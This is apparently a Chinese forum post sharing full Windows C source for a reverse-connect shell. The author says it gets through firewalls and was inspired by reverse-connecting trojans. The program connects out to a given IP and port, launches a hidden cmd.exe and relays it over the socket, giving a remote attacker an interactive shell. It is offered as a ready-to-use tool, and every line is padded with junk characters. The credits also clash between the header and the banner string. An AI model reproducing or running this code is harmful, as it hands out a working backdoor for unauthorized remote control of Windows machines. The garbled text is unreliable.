这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >7$h
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/* ============================== VE $Kdo^
Rebound port in Windows NT r,r"?}Z
By wind,2006/7 ty>9i]Y-
===============================*/ N hY`_?)
#include GzN /0:b
#include sqv!,@*q
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#pragma comment(lib,"wsock32.lib") ^&z3zFTp
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void OutputShell(); /*G-\|
SOCKET sClient; W[G5+*i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e#<A\?
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void main(int argc,char **argv) ul&}'jBr
{ cD5N'3
WSADATA stWsaData; ev[!:*6P
int nRet; ;uhpo
SOCKADDR_IN stSaiClient,stSaiServer; `gSJEq
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if(argc != 3) UfNcI[xr
{ Njmb{L]Cps
printf("Useage:\n\rRebound DestIP DestPort\n"); e`eh;@9p
return; 0-~F%:x
} uE ^uP@d
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WSAStartup(MAKEWORD(2,2),&stWsaData); $lAQcG&Q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @#>YU
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stSaiClient.sin_family = AF_INET; }I"k=>Ycns
stSaiClient.sin_port = htons(0); V2B:
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G@4n]c_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vPSY1NC5
{ nj<nW5[
printf("Bind Socket Failed!\n"); G
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return; mcb|N_#n/
} (,j~s{
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stSaiServer.sin_family = AF_INET; j\\uW)ibG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Vwpy/5Hmp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n48%Uwa,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tL\L4>^7T
{ 7Ml OBPh
printf("Connect Error!"); vduh5.
return; 9!,f4&G`
} p1']+4r%
OutputShell();
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} y(yBRR
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void OutputShell() rebWXz7
{ ZRP[N)Ld$
char szBuff[1024]; Y?4N%c_;
SECURITY_ATTRIBUTES stSecurityAttributes; j-k]|0ea}
OSVERSIONINFO stOsversionInfo; lbj_if;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 303x|y
STARTUPINFO stStartupInfo; wqF_hs(O
char *szShell; /_V4gwb}|-
PROCESS_INFORMATION stProcessInformation; Is(ZVI
unsigned long lBytesRead; ?/YT,W<c;&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); | E\ u
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %g7B*AX]
stSecurityAttributes.lpSecurityDescriptor = 0; |o#pd\
stSecurityAttributes.bInheritHandle = TRUE; Id?2(Tg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t $u.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xsRu~'f
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z"d21D~h9`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a/gr1
stStartupInfo.wShowWindow = SW_HIDE; la_FZ
stStartupInfo.hStdInput = hReadPipe; X8 x:/]/0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yUX<W'-Hev
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GetVersionEx(&stOsversionInfo); ;BW-ag \9
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switch(stOsversionInfo.dwPlatformId) L[. )!c8k
{ zC WN,K`
case 1: _YA;Nd#%k
szShell = "command.com"; Bi`m +ob
break; v4W<_
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default: <xwaFZ
szShell = "cmd.exe"; +|.6xC7U
break; a9p6[qOcd
} b/&{:g!B
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8C5*: x9l
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send(sClient,szMsg,77,0); hEfFMi=a`
while(1) Z#flu Q%V
{ ngl8) B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T-.Bof(?w
if(lBytesRead) ^dRgYi"(A
{ wQrD(Dv(yA
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RO.bh#A$
send(sClient,szBuff,lBytesRead,0); !UX7R\qu|
} FK,Jk04on
else dRXdV7-!
{ x}jiHV@=
lBytesRead=recv(sClient,szBuff,1024,0); F=V_ACU
if(lBytesRead<=0) break; m8z414o
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %VGQ{:
} Z]k+dJ[-
} d^G5Pq
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return; (lLCAmK5?
}